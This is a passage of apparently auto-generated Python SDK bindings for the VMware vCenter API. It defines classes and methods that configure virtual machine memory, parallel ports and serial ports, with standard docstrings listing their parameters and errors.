VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.memory.info', {
'size_MiB': type.IntegerType(),
'hot_add_enabled': type.BooleanType(),
'hot_add_increment_size_MiB': type.OptionalType(type.IntegerType()),
'hot_add_limit_MiB': type.OptionalType(type.IntegerType()),
},
Info,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Memory.UpdateSpec`` class describes the updates to be made to the
memory-related settings of a virtual machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_canonical_to_pep_names = {
'size_MiB': 'size_mib',
}
def __init__(self,
size_mib=None,
hot_add_enabled=None,
):
"""
:type size_mib: :class:`long` or ``None``
:param size_mib: New memory size in mebibytes.
The supported range of memory sizes is constrained by the
configured guest operating system and virtual hardware version of
the virtual machine.
If the virtual machine is running, this value may only be changed
if :attr:`Memory.Info.hot_add_enabled` is true, and the new memory
size must satisfy the constraints specified by
:attr:`Memory.Info.hot_add_increment_size_mib` and
:attr:`Memory.Info.hot_add_limit_mib`.
If None, the value is unchanged.
:type hot_add_enabled: :class:`bool` or ``None``
:param hot_add_enabled: Flag indicating whether adding memory while the virtual machine is
running should be enabled.
Some guest operating systems may consume more resources or perform
less efficiently when they run on hardware that supports adding
memory while the machine is running.
This attribute may only be modified if the virtual machine is not
powered on.
If None, the value is unchanged.
"""
self.size_mib = size_mib
self.hot_add_enabled = hot_add_enabled
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.memory.update_spec', {
'size_MiB': type.OptionalType(type.IntegerType()),
'hot_add_enabled': type.OptionalType(type.BooleanType()),
},
UpdateSpec,
False,
None))
def get(self,
vm,
):
"""
Returns the memory-related settings of a virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`Memory.Info`
:return: Memory-related settings of the virtual machine.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
})
def update(self,
vm,
spec,
):
"""
Updates the memory-related settings of a virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Memory.UpdateSpec`
:param spec: Specification for updating the memory-related settings of the
virtual machine.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if one of the provided settings is not permitted; for example,
specifying a negative value for ``sizeMiB``.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if ``hotAddEnabled`` is specified and the virtual machine is not
powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if ``sizeMiB`` is specified, ``hotAddEnabled`` is false, and the
virtual machine is not powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'spec': spec,
})
class Parallel(VapiInterface):
"""
The ``Parallel`` class provides methods for configuring the virtual
parallel ports of a virtual machine.
"""
RESOURCE_TYPE = "com.vmware.vcenter.vm.hardware.ParallelPort"
"""
Resource type for the virtual parallel port.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.parallel'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _ParallelStub)
self._VAPI_OPERATION_IDS = {}
class BackingType(Enum):
"""
The ``Parallel.BackingType`` class defines the valid backing types for a
virtual parallel port.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
FILE = None
"""
Virtual parallel port is backed by a file.
"""
HOST_DEVICE = None
"""
Virtual parallel port is backed by a device on the host where the virtual
machine is running.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`BackingType` instance.
"""
Enum.__init__(string)
BackingType._set_values([
BackingType('FILE'),
BackingType('HOST_DEVICE'),
])
BackingType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.parallel.backing_type',
BackingType))
class BackingInfo(VapiStruct):
"""
The ``Parallel.BackingInfo`` class contains information about the physical
resource backing a virtual parallel port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'FILE' : [('file', True)],
'HOST_DEVICE' : [('host_device', False), ('auto_detect', True)],
}
),
]
def __init__(self,
type=None,
file=None,
host_device=None,
auto_detect=None,
):
"""
:type type: :class:`Parallel.BackingType`
:param type: Backing type for the virtual parallel port.
:type file: :class:`str`
:param file: Path of the file backing the virtual parallel port.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Parallel.BackingType.FILE`.
:type host_device: :class:`str` or ``None``
:param host_device: Name of the device backing the virtual parallel port.
This attribute will be None if ``autoDetect`` is true and the
virtual parallel port is not connected or no suitable device is
available on the host.
:type auto_detect: :class:`bool`
:param auto_detect: Flag indicating whether the virtual parallel port is configured to
automatically detect a suitable host device.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Parallel.BackingType.HOST_DEVICE`.
"""
self.type = type
self.file = file
self.host_device = host_device
self.auto_detect = auto_detect
VapiStruct.__init__(self)
BackingInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.parallel.backing_info', {
'type': type.ReferenceType(__name__, 'Parallel.BackingType'),
'file': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
'auto_detect': type.OptionalType(type.BooleanType()),
},
BackingInfo,
False,
None))
class BackingSpec(VapiStruct):
"""
The ``Parallel.BackingSpec`` class provides a specification of the physical
resource backing a virtual parallel port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'FILE' : [('file', True)],
'HOST_DEVICE' : [('host_device', False)],
}
),
]
def __init__(self,
type=None,
file=None,
host_device=None,
):
"""
:type type: :class:`Parallel.BackingType`
:param type: Backing type for the virtual parallel port.
:type file: :class:`str`
:param file: Path of the file that should be used as the virtual parallel port
backing.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Parallel.BackingType.FILE`.
:type host_device: :class:`str` or ``None``
:param host_device: Name of the device that should be used as the virtual parallel port
backing.
If None, the virtual parallel port will be configured to
automatically detect a suitable host device.
"""
self.type = type
self.file = file
self.host_device = host_device
VapiStruct.__init__(self)
BackingSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.parallel.backing_spec', {
'type': type.ReferenceType(__name__, 'Parallel.BackingType'),
'file': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
},
BackingSpec,
False,
None))
class Info(VapiStruct):
"""
The ``Parallel.Info`` class contains information about a virtual parallel
port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
label=None,
backing=None,
state=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type label: :class:`str`
:param label: Device label.
:type backing: :class:`Parallel.BackingInfo`
:param backing: Physical resource backing for the virtual parallel port.
:type state: :class:`ConnectionState`
:param state: Connection status of the virtual device.
:type start_connected: :class:`bool`
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
:type allow_guest_control: :class:`bool`
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
"""
self.label = label
self.backing = backing
self.state = state
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.parallel.info', {
'label': type.StringType(),
'backing': type.ReferenceType(__name__, 'Parallel.BackingInfo'),
'state': type.ReferenceType(__name__, 'ConnectionState'),
'start_connected': type.BooleanType(),
'allow_guest_control': type.BooleanType(),
},
Info,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Parallel.CreateSpec`` class provides a specification for the
configuration of a newly-created virtual parallel port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type backing: :class:`Parallel.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual parallel port.
If None, defaults to automatic detection of a suitable host device.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
Defaults to false if None.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
Defaults to false if None.
"""
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.parallel.create_spec', {
'backing': type.OptionalType(type.ReferenceType(__name__, 'Parallel.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
CreateSpec,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Parallel.UpdateSpec`` class describes the updates to be made to the
configuration of a virtual parallel port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type backing: :class:`Parallel.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual parallel port.
This attribute may only be modified if the virtual machine is not
powered on or the virtual parallel port is not connected.
If None, the value is unchanged.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
If None, the value is unchanged.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
If None, the value is unchanged.
"""
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.parallel.update_spec', {
'backing': type.OptionalType(type.ReferenceType(__name__, 'Parallel.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
UpdateSpec,
False,
None))
class Summary(VapiStruct):
"""
The ``Parallel.Summary`` class contains commonly used information about a
virtual parallel port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
port=None,
):
"""
:type port: :class:`str`
:param port: Identifier of the virtual parallel port.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ParallelPort``. When methods
return a value of this class as a return value, the attribute will
be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ParallelPort``.
"""
self.port = port
VapiStruct.__init__(self)
Summary._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.parallel.summary', {
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ParallelPort'),
},
Summary,
False,
None))
def list(self,
vm,
):
"""
Returns commonly used information about the virtual parallel ports
belonging to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`list` of :class:`Parallel.Summary`
:return: List of commonly used information about virtual parallel ports.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('list',
{
'vm': vm,
})
def get(self,
vm,
port,
):
"""
Returns information about a virtual parallel port.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual parallel port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ParallelPort``.
:rtype: :class:`Parallel.Info`
:return: Information about the specified virtual parallel port.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual parallel port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
'port': port,
})
def create(self,
vm,
spec,
):
"""
Adds a virtual parallel port to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Parallel.CreateSpec`
:param spec: Specification for the new virtual parallel port.
:rtype: :class:`str`
:return: Virtual parallel port identifier.
The return value will be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ParallelPort``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reported that the parallel port device was created
but was unable to confirm the creation because the identifier of
the new device could not be determined.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.UnableToAllocateResource`
if the virtual machine already has the maximum number of supported
parallel ports.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('create',
{
'vm': vm,
'spec': spec,
})
def update(self,
vm,
port,
spec,
):
"""
Updates the configuration of a virtual parallel port.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual parallel port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ParallelPort``.
:type spec: :class:`Parallel.UpdateSpec`
:param spec: Specification for updating the virtual parallel port.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual parallel port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if one or more of the attributes specified in the ``spec``
parameter cannot be modified due to the current power state of the
virtual machine or the connection state of the virtual parallel
port.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'port': port,
'spec': spec,
})
def delete(self,
vm,
port,
):
"""
Removes a virtual parallel port from the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual parallel port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ParallelPort``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual parallel port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('delete',
{
'vm': vm,
'port': port,
})
def connect(self,
vm,
port,
):
"""
Connects a virtual parallel port of a powered-on virtual machine to its
backing. Connecting the virtual device makes the backing accessible
from the perspective of the guest operating system.
For a powered-off virtual machine, the :func:`Parallel.update` method
may be used to configure the virtual parallel port to start in the
connected state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual parallel port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ParallelPort``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual parallel port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual parallel port is already connected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('connect',
{
'vm': vm,
'port': port,
})
def disconnect(self,
vm,
port,
):
"""
Disconnects a virtual parallel port of a powered-on virtual machine
from its backing. The virtual device is still present and its backing
configuration is unchanged, but from the perspective of the guest
operating system, the parallel port is not connected to its backing.
For a powered-off virtual machine, the :func:`Parallel.update` method
may be used to configure the virtual parallel port to start in the
disconnected state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type port: :class:`str`
:param port: Virtual parallel port identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ParallelPort``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual parallel port is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual parallel port is already disconnected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('disconnect',
{
'vm': vm,
'port': port,
})
class Serial(VapiInterface):
"""
The ``Serial`` class provides methods for configuring the virtual serial
ports of a virtual machine.
"""
RESOURCE_TYPE = "com.vmware.vcenter.vm.hardware.SerialPort"
"""
Resource type for the virtual serial port device.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.serial'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _SerialStub)
self._VAPI_OPERATION_IDS = {}
class BackingType(Enum):
"""
The ``Serial.BackingType`` class defines the valid backing types for a
virtual serial port.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
FILE = None
"""
Virtual serial port is backed by a file.
"""
HOST_DEVICE = None
"""
Virtual serial port is backed by a device on the host where the virtual
machine is running.
"""
PIPE_SERVER = None
"""
Virtual serial port is backed by a named pipe server. The virtual machine
will accept a connection from a host application or another virtual machine
on the same host. This is useful for capturing debugging information sent
through the virtual serial port.
"""
PIPE_CLIENT = None
"""
Virtual serial port is backed by a named pipe client. The virtual machine
will connect to the named pipe provided by a host application or another
virtual machine on the same host. This is useful for capturing debugging
information sent through the virtual serial port.
"""
NETWORK_SERVER = None
"""
Virtual serial port is backed by a network server. This backing may be used
to create a network-accessible serial port on the virtual machine,
accepting a connection from a remote system.
"""
NETWORK_CLIENT = None
"""
Virtual serial port is backed by a network client. This backing may be used
to create a network-accessible serial port on the virtual machine,
initiating a connection to a remote system.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`BackingType` instance.
"""
Enum.__init__(string)
BackingType._set_values([
BackingType('FILE'),
BackingType('HOST_DEVICE'),
BackingType('PIPE_SERVER'),
BackingType('PIPE_CLIENT'),
BackingType('NETWORK_SERVER'),
BackingType('NETWORK_CLIENT'),
])
BackingType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.serial.backing_type',
BackingType))
class BackingInfo(VapiStruct):
"""
The ``Serial.BackingInfo`` class contains information about the physical
resource backing a virtual serial port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'FILE' : [('file', True)],
'HOST_DEVICE' : [('host_device', False), ('auto_detect', True)],
'PIPE_SERVER' : [('pipe', True), ('no_rx_loss', True)],
'PIPE_CLIENT' : [('pipe', True), ('no_rx_loss', True)],
'NETWORK_SERVER' : [('network_location', True), ('proxy', False)],
'NETWORK_CLIENT' : [('network_location', True), ('proxy', False)],
}
),
]
def __init__(self,
type=None,
file=None,
host_device=None,
auto_detect=None,
pipe=None,
no_rx_loss=None,
network_location=None,
proxy=None,
):
"""
:type type: :class:`Serial.BackingType`
:param type: Backing type for the virtual serial port.
:type file: :class:`str`
:param file: Path of the file backing the virtual serial port.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Serial.BackingType.FILE`.
:type host_device: :class:`str` or ``None``
:param host_device: Name of the device backing the virtual serial port.
This attribute will be None if ``autoDetect`` is true and the
virtual serial port is not connected or no suitable device is
available on the host.
:type auto_detect: :class:`bool`
:param auto_detect: Flag indicating whether the virtual serial port is configured to
automatically detect a suitable host device.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Serial.BackingType.HOST_DEVICE`.
:type pipe: :class:`str`
:param pipe: Name of the pipe backing the virtual serial port.
This attribute is optional and it is only relevant when the value
of ``type`` is one of :attr:`Serial.BackingType.PIPE_SERVER` or
:attr:`Serial.BackingType.PIPE_CLIENT`.
:type no_rx_loss: :class:`bool`
:param no_rx_loss: Flag that enables optimized data transfer over the pipe. When the
value is true, the host buffers data to prevent data overrun. This
allows the virtual machine to read all of the data transferred over
the pipe with no data loss.
This attribute is optional and it is only relevant when the value
of ``type`` is one of :attr:`Serial.BackingType.PIPE_SERVER` or
:attr:`Serial.BackingType.PIPE_CLIENT`.
:type network_location: :class:`str`
:param network_location: URI specifying the location of the network service backing the
virtual serial port.
* If :attr:`Serial.BackingInfo.type` is
:attr:`Serial.BackingType.NETWORK_SERVER`, this attribute is the
location used by clients to connect to this server. The hostname
part of the URI should either be empty or should specify the
address of the host on which the virtual machine is running.
* If :attr:`Serial.BackingInfo.type` is
:attr:`Serial.BackingType.NETWORK_CLIENT`, this attribute is the
location used by the virtual machine to connect to the remote
server.
This attribute is optional and it is only relevant when the value
of ``type`` is one of :attr:`Serial.BackingType.NETWORK_SERVER` or
:attr:`Serial.BackingType.NETWORK_CLIENT`.
:type proxy: :class:`str` or ``None``
:param proxy: Proxy service that provides network access to the network backing.
If set, the virtual machine initiates a connection with the proxy
service and forwards the traffic to the proxy.
If None, no proxy service is configured.
"""
self.type = type
self.file = file
self.host_device = host_device
self.auto_detect = auto_detect
self.pipe = pipe
self.no_rx_loss = no_rx_loss
self.network_location = network_location
self.proxy = proxy
VapiStruct.__init__(self)
BackingInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.serial.backing_info', {
'type': type.ReferenceType(__name__, 'Serial.BackingType'),
'file': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
'auto_detect': type.OptionalType(type.BooleanType()),
'pipe': type.OptionalType(type.StringType()),
'no_rx_loss': type.OptionalType(type.BooleanType()),
'network_location': type.OptionalType(type.URIType()),
'proxy': type.OptionalType(type.URIType()),
},
BackingInfo,
False,
None))
class BackingSpec(VapiStruct):
"""
The ``Serial.BackingSpec`` class provides a specification of the physical
resource backing a virtual serial port.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'FILE' : [('file', True)],
'HOST_DEVICE' : [('host_device', False)],
'PIPE_SERVER' : [('pipe', True), ('no_rx_loss', False)],
'PIPE_CLIENT' : [('pipe', True), ('no_rx_loss', False)],
'NETWORK_SERVER' : [('network_location', True), ('proxy', False)],
'NETWORK_CLIENT' : [('network_location', True), ('proxy', False)],
}
),
]
def __init__(self,
type=None,
file=None,
host_device=None,
pipe=None,
no_rx_loss=None,
network_location=None,
proxy=None,
):
"""
:type type: :class:`Serial.BackingType`
:param type: Backing type for the virtual serial port.
:type file: :class:`str`
:param file: Path of the file backing the virtual serial port.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Serial.BackingType.FILE`.
:type host_device: :class:`str` or ``None``
:param host_device: Name of the device backing the virtual serial port.
If None, the virtual serial port will be configured to
automatically detect a suitable host device.
:type pipe: :class:`str`
:param pipe: Name of the pipe backing the virtual serial port.
This attribute is optional and it is only relevant when the value
of ``type`` is one of :attr:`Serial.BackingType.PIPE_SERVER` or
:attr:`Serial.BackingType.PIPE_CLIENT`.
:type no_rx_loss: :class:`bool` or ``None``
:param no_rx_loss: Flag that enables optimized data transfer over the pipe. When the
value is true, the host buffers data to prevent data overrun. This
allows the virtual machine to read all of the data transferred over
the pipe with no data loss.
If None, defaults to false.
:type network_location: :class:`str`
:param network_location: URI specifying the location of the network service backing the
virtual serial port.
* If :attr:`Serial.BackingSpec.type` is
:attr:`Serial.BackingType.NETWORK_SERVER`, this attribute is the
location used by clients to connect to this server. The hostname
part of the URI should either be empty or should specify the
address of the host on which the virtual machine is running.
* If :attr:`Serial.BackingSpec.type` is
:attr:`Serial.BackingType.NETWORK_CLIENT`, this attribute is the
location used by the virtual machine to connect to the remote
server.
This attribute is optional and it is only relevant when the value
of ``type`` is one of :attr:`Serial.BackingType.NETWORK_SERVER` or
:attr:`Serial.BackingType.NETWORK_CLIENT`.
:type proxy: :class:`str` or ``None``
:param proxy: Proxy service that provides network access to the network backing.
If set, the virtual machine initiates a connection with the proxy
service and forwards the traffic to the proxy.
If None, no proxy service should be used.
"""
self.type = type
self.file = file
self.host_device = host_device
self.pipe = pipe
self.no_rx_loss = no_rx_loss
self.network_location = network_location
self.proxy = proxy
VapiStruct.__init__(self)
BackingSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.serial.backing_spec', {
'type': type.ReferenceType(__name__, 'Serial.BackingType'),
'file': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
'pipe': type.OptionalType(type.StringType()),
'no_rx_loss': type.OptionalType(type.BooleanType()),
'network_location': type.OptionalType(type.URIType()),
